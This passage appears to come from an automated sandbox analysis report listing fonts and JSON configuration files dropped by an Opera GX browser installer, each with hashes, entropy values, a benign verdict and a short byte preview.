                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):411500
                                                                                                                                                                                                              Entropy (8bit):6.179950752404769
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:D0RV3jlWkDOh9oC2wuhsJWPziKSQlRiFy34YmkCD9oI0+msvMlwt5BO2x28YzWDQ:D9SxC2wuhDPziK2yIYmkCCIPmsHI8F8
                                                                                                                                                                                                              MD5:A473E623AF12065B4B9CB8DB4068FB9C
                                                                                                                                                                                                              SHA1:126D31D9FBB0D742763C266A1C2ACE71B106E34A
                                                                                                                                                                                                              SHA-256:1BDA81124D6AE26ED16A7201E2BD93766AF5A3B14FAF79EEA14D191EBBD41146
                                                                                                                                                                                                              SHA-512:1FBC2841783140FE54F3AB1FA84E1DED2534BCEC3549ADE2F513491B32178DF515BD63A0A4A2C35017A6850FF9C3A24F8602357D912ACF8CA92B8D68BA846D3A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS@@..... ..J.GSUB..B..O...]@OS/2.P.........`cmapL......d..d.cvt J"....7<...&fpgmb/....8d....gasp......74....glyf......L..A.head0....S....6hhea.c....T0...$hmtx......TT..-.loca..........-.maxp.t......... name ./.........post}m.g.......xprepldhL..Fp.............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter MediumItalic4.000;git-a52131595;RSMS;Inter-MediumI
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):417780
                                                                                                                                                                                                              Entropy (8bit):6.206431815755074
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:/DRFemw/pjVeXWqSBpVUW8KOA8HiQ109P0GJrMfsVwGSkSdnMgVIwZp3+4yCr18:/DKmChCWqgkJKy6zMfsdUDv8
                                                                                                                                                                                                              MD5:9A21378C7E8B26BC0C894402BFD5108C
                                                                                                                                                                                                              SHA1:72BD9F3CA75CA691CE86FE1EBBDB269F5F737BAE
                                                                                                                                                                                                              SHA-256:0D34F9588400A586B774BE97E66AE8C076A8807B8455DF0587B39D2A4A1A3B42
                                                                                                                                                                                                              SHA-512:4A9D23A01F1A7474E0339D4D8B151D0269BFAF7D9E13FF6AA34D7F929002E8FF185F273E6F7AFD2D40DF3E0630A962DC7767D870DCF1766F3E04B8029A7B452E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOSNc........H2GSUB*|.@..M<..[.OS/2.Q.....,...`cmap^.........d.cvt J..}..O....&fpgmb/....P.....gasp......O.....glyf...Y......aLhead0....oh...6hhea......o....$hmtx......o...-$loca.l........-(maxp.D......... name#..y...0....postz.........}.prepldhL..^..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 35 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInterRegular4.000;git-a52131595;RSMS;Inter-RegularInter
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):407056
                                                                                                                                                                                                              Entropy (8bit):6.1736927573676335
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:sSnv4lXwF22mZ8JWPziKSQUmeKGVOOxAdgwH9evDFDynor51EOO2UAGbzxSr1w7b:sSvJ22mZzPziKwLOOkvH9IQoUf7P08
                                                                                                                                                                                                              MD5:FDB50E0D48CDCF775FA1AC0DC3C33BD4
                                                                                                                                                                                                              SHA1:5C95E5D66572AECA303512BA41A8DDE0CEA92C80
                                                                                                                                                                                                              SHA-256:64F8BE6E55C37E32EF03DA99714BF3AA58B8F2099BFE4F759A7578E3B8291123
                                                                                                                                                                                                              SHA-512:20CE8100C96058D4E64A12D0817B7CE638CEC9F5D03651320EB6B9C3F47EE289CCC695BD3B5B6BF8E0867CDAB0EBB6E8CAE77DF054E185828A6A13F3733EDE53
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS,ta.... ..9.GSUB..B..>...]@OS/2..g.......`cmapL......p..d.cvt H.H..%....&fpgmb/....'.....gasp......%.....glyf..L...X..A.head0..j..C....6hhea...]..C8...$hmtx......C\..-.loca...X..q...-.maxp.t......... name...V.......npost}e.V...`...xprepldhL..5..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBold.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter SemiBoldRegular4.000;git-a52131595;RSMS;Inter-Semi
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):413976
                                                                                                                                                                                                              Entropy (8bit):6.169175161562876
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:SMPc0C2wQtzPziKFfAi2bNru42U5CB1c8:5hiK9AiENr/2UYc8
                                                                                                                                                                                                              MD5:4D24F378E7F8656A5BCCB128265A6C3D
                                                                                                                                                                                                              SHA1:D48310D2F04C57AF1BCE0851E053BE7B58B25DCA
                                                                                                                                                                                                              SHA-256:0DC98E8AA59585394880F25AB89E6D915AD5134522E961B046CA51FAD3A18255
                                                                                                                                                                                                              SHA-512:38B18D9786046633E4992308C88F11CA5CED325F805EB29B3000533459E85DFB6CD87655F1E285AF8DA22AC04722AB354DBDA24667297B56CCA824EF227373F1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOSd]..... ..KPGSUB..B..Pp..]@OS/2...........`cmapL.........d.cvt Kt....@....&fpgmb/....B.....gasp......@.....glyf.8........J.head0....]....6hhea.A.h..]....$hmtx{xJ...]...-.loca.!R.......-.maxp.t.....\... name%.1....|....post}v.w...h...xprepldhL..P..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter SemiBoldItalic4.000;git-a52131595;RSMS;Inter-SemiB
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):418520
                                                                                                                                                                                                              Entropy (8bit):6.2010032658690255
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:0UW00H2WqgwJA65hgQ0Yp9nyu8qIzoGS9U8:FWwJAuGQ0Yp9n5szrIU8
                                                                                                                                                                                                              MD5:04551623D1023398FD3DA941E920D727
                                                                                                                                                                                                              SHA1:92789CCC0D76C04D86685F9F0529731D2DC38852
                                                                                                                                                                                                              SHA-256:1E1289453D7A895CFB73569D4851634C8B0E49D150C4DD52D44BF5D206908272
                                                                                                                                                                                                              SHA-512:8017346110AEE84614FC0D9A9B39505F042E23659BE367C8A84301DC6E41C3DD93A464E88DCDF06F10B3B3AC85E975BC69EB464ED4CD784309564836289D412C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS..j......I:GSUB*|.@..ND..[.OS/2.......4...`cmap^.........d.cvt K_....R....&fpgmb/....S.....gasp......R.....glyf.......$..c.head0....r4...6hhea......rl...$hmtx..Q...r...-$loca.n........-(maxp.D......... name(u0.........postz.........}.prepldhL..a..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ThinRegular4.000;git-a52131595;RSMS;Inter-ThinInte
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):403404
                                                                                                                                                                                                              Entropy (8bit):6.15775244572357
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:FZbewyXwv22mZ8JWPziKSQQQbdiJNnL1qIPQyC4JRPeQQFgppInr/qwAWJBIF072:FZCU22mZzPziKPd6PQgcgpa/nMF07J8
                                                                                                                                                                                                              MD5:B97F16379B4C106616F60F702733F5C6
                                                                                                                                                                                                              SHA1:85C472FB9A7F256643BC4BBA10F158DFAA1D1E8B
                                                                                                                                                                                                              SHA-256:4C392DCC8AD916F0F9DF7559AB5563B01DD94F9F3B2DB34617FE392E00060339
                                                                                                                                                                                                              SHA-512:D124AF2C705B97CBB307497F88C47A5F7D320174D48626EA14AC27D42BCF8016F32810CF7ECB6AF1261297B8C331A6EA89E2E35C3E2536390D8D6E500ED8D61E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS...... ..6.GSUB..B..;...]@OS/2..........`cmapL......L..d.cvt B..........&fpgmb/..........gasp............glyf5?.$...4..6<head1..i..4p...6hhea...-..4....$hmtx..6Y..4...-.loca......b...-.maxp.t.....@... name..,z...`....post}6.........xprepldhL..&..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ThinItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ThinItalic4.000;git-a52131595;RSMS;Inter-ThinItali
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):410232
                                                                                                                                                                                                              Entropy (8bit):6.191384356621797
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:nm0XOI8wiWXWqSBNVUWI9Wd4EZDSwKBUMimozkhBiv98svLAYP0wJShe3+4yCL18:nm1GiqWqgwbMd4EZDDpmokGllkYMdQ8
                                                                                                                                                                                                              MD5:12EC66B825B504D752E8C333BF81DACF
                                                                                                                                                                                                              SHA1:56896D3E6011466B7E6631C714C57E20EE8366D9
                                                                                                                                                                                                              SHA-256:5FC09AF94A447FAE6F82C00F15DFAEF9EAE7C560E6CBE46D3E84524019A574AA
                                                                                                                                                                                                              SHA-512:8CB838589AC4F9819B7E2204517445DF94663D3217297212973E8B2D9FECE162155130DDC783E7E89EF2832D38BACE731B2AE3B73AFF36AD782C707813BC52B4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS.n.t......6RGSUB*|.@..;\..[.OS/2.......L...`cmap^.........d.cvt B.....2H...&fpgmb/....3p....gasp......2@....glyf.,....<..U.head1<.h..R....6hhea..._..R<...$hmtxt.<...R`..-$loca.?w.......-(maxp.D......... name..+.........postzK........}.prepldhL..A|.............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 13 names, Macintosh, type 1 string, UNDERWAVERegularUNDERWAVE1.500;Glyphs 3.1.2 (3151)UNDERWAVE
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):745320
                                                                                                                                                                                                              Entropy (8bit):6.213167401688859
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:3riWrg8ws8rpPgBZiq2GuzoyG2JfffffQPfnVd:3rLfgWiq2Gu0yG5fnb
                                                                                                                                                                                                              MD5:A0A0C6917910F0D4C1A8EC4562285468
                                                                                                                                                                                                              SHA1:D09EE8BB53B6DDC718F71E13109540F659B9444B
                                                                                                                                                                                                              SHA-256:41079C47E940F7A84A79FC55D0FACA4651312F8E9FB8D85E9FA1A0B1BF989A3E
                                                                                                                                                                                                              SHA-512:3A06F4E8B33613D665540980491CB0069B4DB5B9B91B7C3D041307A2335701B29AC29EEA7D1DC4FACAA6D72E6EAC6D5B36F555A0CB5E068BE5C90205997CE04C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........... DSIG......_`....GDEF.>.2..8....pGPOS..I..8t....GSUB.e...C|....OS/2..^........`cmap...........cvt ...^...L...Pfpgm..w....P...Ygasp......7.....glyfB..........dhead:.0...,...6hhea..SW...d...$hmtx.'Q.........loca!_..........maxpE.......... name{\.(.......1postGQ.>.......<preps..B.................d"_.<.................#k....:...........................d...>..................C.....C................$.....................3.......3......................................UNKN.........................^..... ...$...............................................................................................................................................h.8...`.r.H..._.................T.....x...h.P...@.....q.|.g...q...q.".W...u...u...u.Z.k...u.........K...J...K...I.....H...h...h...j...i.x.g...h...j...j...k...k...j...k...i...j...j...j...j./.h...j...j...j...7.,.....T.:.B...j.......9.....b.m...........g...h...h...h...k.....).i. .e...........k.f.....i...j...i...i...i.p.i...h.\.:...i...B

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\partner_speeddials.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1770279
                                                                                                                                                                                                              Entropy (8bit):5.35038936673522
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:5Ir7ZwtuQk6saMf9RhuYLsUNNDvW12pzlq+zUDbhu8qFLYVp+hL7A0Ggz01K11ZG:QdTGd9
                                                                                                                                                                                                              MD5:7DC62E72BFFD3DEE165B49CB0CAF25C9
                                                                                                                                                                                                              SHA1:36FCEA5369D3ED292B663A5271C1D15C8F859D6F
                                                                                                                                                                                                              SHA-256:0FF87A054A489001027C0BAAA0370E5D69A9A09E293E3906D4206847AA1B8394
                                                                                                                                                                                                              SHA-512:6D8313E9877660CDAB1538F6E1A03E6CE6C26DB4BAB517BB461A8A836933CD7BEE423A556853076073EC7D7E0DEE331B675D4210D8C6E6449859DC2775E45BA3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// A8QIQeRsq0LZNx0WRSHjd+sxw21TtAeEOWL0NH1m/cxJq7Xntpm5xniDEgOndOfAQX4741MRvazs6J2g2mZO+5CqRlUes8XKt9OX4Q1NRPLmVwidSagqnfOfwp0h5ZE0QfTnu+Ecp8Xo7PGmMk5ubVU/V4s4re7TL/k5Hq3KG3pLNSBv6gew5j7O0ueSi5NuRiDj6DXlIZ9i+ayKj8V9bdQTrPGR3gnOP7a19G3XAzgN4s+rhUmQ7umwMSRVx/2jjz99BV8P06VQuB3iUkEGLEgf3zyQAxNu33kMBJglAQBfZum7FsLz+4n1QgneNXx/6ijTWJKGB/E6JTd7HUF2gA==.{. "*": {. "speeddials": [. {. "favicon_url": "https://sd-images.operacdn.com/api/v1/images/46b911f451044a30c1aa38f062e1a4939605f09b.png",. "name": "Twitch",. "partner_id": "kFAcNbAe4iy5E560CUCIhN+05nr5nudSkqsVoer1/tM=",. "ping_url": "https://speeddials.opera.com/api/v1/clicks/a0ZBY05iQWU0aXk1RTU2MENVQ0loTiswNW5yNW51ZFNrcXNWb2VyMS90TT0=",. "position": 1,. "real_url": "https://www.twitch.tv/",. "replaceable": false,. "revision": "20190409",. "thumbnail_url": "https://sd-images.operacdn.com/api/v1/images/20586137116208fbaa36984a3165942edf7daea0.png",. "url": "https://w

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\purchases-schemas.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):134754
                                                                                                                                                                                                              Entropy (8bit):3.912152746351969
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:384:HheiiOv/GKbJ0Srmhmvm4mxsmWy9IrjRR2UmIm8pNI170TZM2TRfdL82Bcj5d+SA:7cUw46YQbjD6YbW0LGEcE6x
                                                                                                                                                                                                              MD5:50B7EEA5800999F39B8C3D93AEBA6545
                                                                                                                                                                                                              SHA1:781B66FE6B6548CF39522E3661BD6A9ADE39456F
                                                                                                                                                                                                              SHA-256:239158E719514AC1205D1844643E24440D0833C0C7C64060AAFB6FE2378C63D4
                                                                                                                                                                                                              SHA-512:192CEA97EAE5C5148D4D5C1AC818CCB9C75F12119446BD772A9BDFC07975739A66558B580BA5B29FF47275B60DE099C954E82B91CC34DB683C63ECB42C671052
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// nT/e0fNNq9R2n1GNHggMQYT4GDR4XJHAsGYhnPcLb+eG0AT87u+hknCDu03zU4w1JTGc7yrHkkK17b8TIT5tk9x9KU8mgfFBqUYb39RlMQg/CzgtdoRj6qzpRGbApfZCt6JpUvp+64u5NUh1lWMayZmuKg+teFql4t1J77VVkoU5OgZxe5PGy4Hz6S+MzoiqHndxSpFPSEuIdFjOEhczMm6YPhqvMqg8IIoNGkqMcqVRM+gE/hIHPcmtvq/I8ddyvmKdB24FrzZDbUOCA704/zJrA90VqpJZYXjdYqYEH4Waa3TqqxD5HB5OJ/ps6pJS83kIVpH5qRL0pZbCnhl26Q==.[. {. "partnerKey": "etsy.com",. "onfetch": "set-basket",. "urlMask": "^https:\\/\\/www\\.etsy\\.com\\/[a-z]{1,4}\\/cart\\/[0-9]+\\/review.*",. "recordSchema": {. "partner": [. {. "type": "value",. "value": "etsy.com". }. ],. "locationUrl": [. {. "type": "eval",. "value": "location.href". }. ],. "cartTotalValue": [. {. "type": "querySelector",. "value": ".order-total-cost .currency-value",. "property": "textContent",. "postprocess": "pricevalue". }. ],. "cartTotalValueCurrency": [.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\siteprefs.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):17998
                                                                                                                                                                                                              Entropy (8bit):4.102625475354728
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:Elt9h75KiPx9FEfFOvV/woaVvAg33wkPvvEyh8f2YfIMteve:ED75LZEdm/F6v733LBh8f2Fm
                                                                                                                                                                                                              MD5:3C1D65433B74A8B2C0C204CE4F206B0E
                                                                                                                                                                                                              SHA1:FE2DFE6030A0F18495CFFF344274CDD02728CD9A
                                                                                                                                                                                                              SHA-256:5D5859106FC8167043F3E6524119307261BA0ACA60B8A5F4CA664F6E83F9D9DA
                                                                                                                                                                                                              SHA-512:7AB34815A52F178F0832AB764F0701B0139A848D2B897EEA03CDDE65CC03B5907D4473FC9D20024AD1411F7D783E5D449B5EE020FD2C294C074AD5072181D5E2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// HunM9OQI1UAzLc+/REbdxwYPlSjzkaxOROy+Kl35uGCt7donuOkEcqxsRfskQaQ5W+uifDT1T9sOPd8AbL91AGbbDFfn1zfTfN78RrC7G3tKHcamG6faSu6NjxabEl+7DGCav7c3vLZk4ZycUN/9uKk30cNAM1UvMy0GasGORX2W3uumkkYymwLurk+2GQq4aGmAMHcAjzm+gVoJSOA0Mz+T2hAhRQ2I0MYVi3p8rGs0ZqjKluqwXZCRdkVH8fr6ncX+FBH/K0Paxiie+RBWCa/JVIXRP0MfLxMs0iskDzf70VGz5e7jcJUJR+mad6YNEsI8+3ZRHHOVf3+SbmewKQ==.{. "@version": "2.0",. "timestamp": "202407041455",. "firefox_ua": [. "youtubekids.com",. "techtitute.com". ],. "chrome_ua": [. "pansa.pl",. "get.activedisclosure.com",. "atletico.com.br",. "finalfantasyxiv.com",. "votefae.diplomatie.gouv.fr",. "mathworks.com",. "onlineservices.ubs.com",. "ebanking.brou.com.uy",. "roll20.net",. "home.netatmo.com",. "crunchyroll.com",. "adobe.com",. "nenlahapcbofgnanklpelkaejcehkggg",. "jgcdgnmchkahmkfgmdgceagjlepkpadk",. "lime-technologies.com",. "lime-crm.com",. "s

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\specific_keywords.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (5243)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):46132
                                                                                                                                                                                                              Entropy (8bit):5.476429533205484
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:768:kEzP3QpnVouOS/8pn4pNiO6btzP3QpnVjuOM/zpn4YNiOvv:kEzP3QpnDOS/8pn4pNROzP3QpnAOM/zn
                                                                                                                                                                                                              MD5:34CEDACC1C62313116216EA57A16683A
                                                                                                                                                                                                              SHA1:D627058E97DCAD8F0A8737DFE2FFA195D868E5E7
                                                                                                                                                                                                              SHA-256:F04CD2A8EC2686420E9A89C454C379C76B610BE2AD62E2F2F1A9641A9D9ED286
                                                                                                                                                                                                              SHA-512:FA9947AEFFBB687B4D0D632323BAD68E5E93572398FBDD5A7665E1530F3327BFA4307C4AC8AC035E423A667C322FBBF98CCA4995AB9B8EFEBBED99761D753D18
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// DJk2k3pkp9cay3NljwD03+GA6BPihyqZAPyGTt49ivHi9iZ6PCltyC1kZ47WPQmo7WuEhxdSZaZN7uE+VJdTrnfzgcTe4Nz9SU60AUeW3rV7dLOmyQuCm6HExT8VxWHux47vXFsehnQYT8kx56qh1FwN96iY0bsNMLnuo4JA2Hdobl43moGSrTi/eIGdTpA6pq1oHaQgMA8tu6ztgOuMXrE85Qkl8WGanStebuBLdRfGlBkLVG8IqS2YqFyTS5E7NjDLkqOYjx/rM00TqYbFaiVdCkUl5Iu/HyF3eE0cF2dpFLScIb29KBifsTSuiJpxQNvJrGe51SoLHg5oZFQFpw==.{. "version": 1,. "should_reset_discarded_ids": false,. "de":. {. "keyword_groups": [. {. "ids": [. "booking",. "expedia_hotels",. "tripadvisor",. "hotels_com",. "tui". ],. "keywords": [. "achensee",. ".gypten",. "albuquerque",. "alf",. "allg.u",. "amalfik.ste",. "andalusien",. "antalya",. "antwerpen",. "argentinien",. "australien",. "azoren",. "bad kreuzn

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\video_conference_popout.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1064
                                                                                                                                                                                                              Entropy (8bit):4.216969853800906
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:AZMCz9sRJH4/jRGRiv9dmH4/K2wFghIsv9Z7d/jJNHAA9Zn+DYd/jJNHAA99lH4O:AZMSTrd3K2SgIslZ7d5Z+Ud50+D
                                                                                                                                                                                                              MD5:19BEF2D091C16C4EE3F7B9D63A48EEC2
                                                                                                                                                                                                              SHA1:E148797C1874D3DF0F9AADA3C217BAD86E07B49B
                                                                                                                                                                                                              SHA-256:A31AEB78E781F22CEE4220D24B8D62AE139902E37804BC836EADD90264AEDBB9
                                                                                                                                                                                                              SHA-512:A245BB9E697897239B449BBB35197E8033285BB7C9F101CFD8AE43FB434149102F28534C2C58D561341B72DDE90632FDAF5D73E5DECE5D453C221D67987302D0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{."version": 7,."list": [. {. "urlMask": "https://meet.google.com/.*",. "width": 700,. "height": 450,. "blocked": [. "https://meet.google.com/",. "https://meet.google.com/about.*". ]. },. {. "urlMask": "https://whereby.com/.*",. "width": 700,. "height": 450,. "blocked": [. "https://whereby.com/",. "https://whereby.com/blog.*",. "https://whereby.com/information.*",. "https://whereby.com/sitemap.*",. "https://whereby.com/user.*". ]. },. {. "urlMask": "https://teams.live.com/_#/pre-join-calling/",. "width": 700,. "height": 450. },. {. "urlMask": "https://teams.microsoft.com/_#/pre-join-calling/",. "width": 700,. "height": 450. },. {. "urlMask": "https://meet.jit.si/.*",. "width": 700,. "height": 450,. "blocked": [. "https://meet.jit.si/",

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\root_files_list

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):730
                                                                                                                                                                                                              Entropy (8bit):4.668284777150785
                                                                                                                                                                                                              Encrypted:false
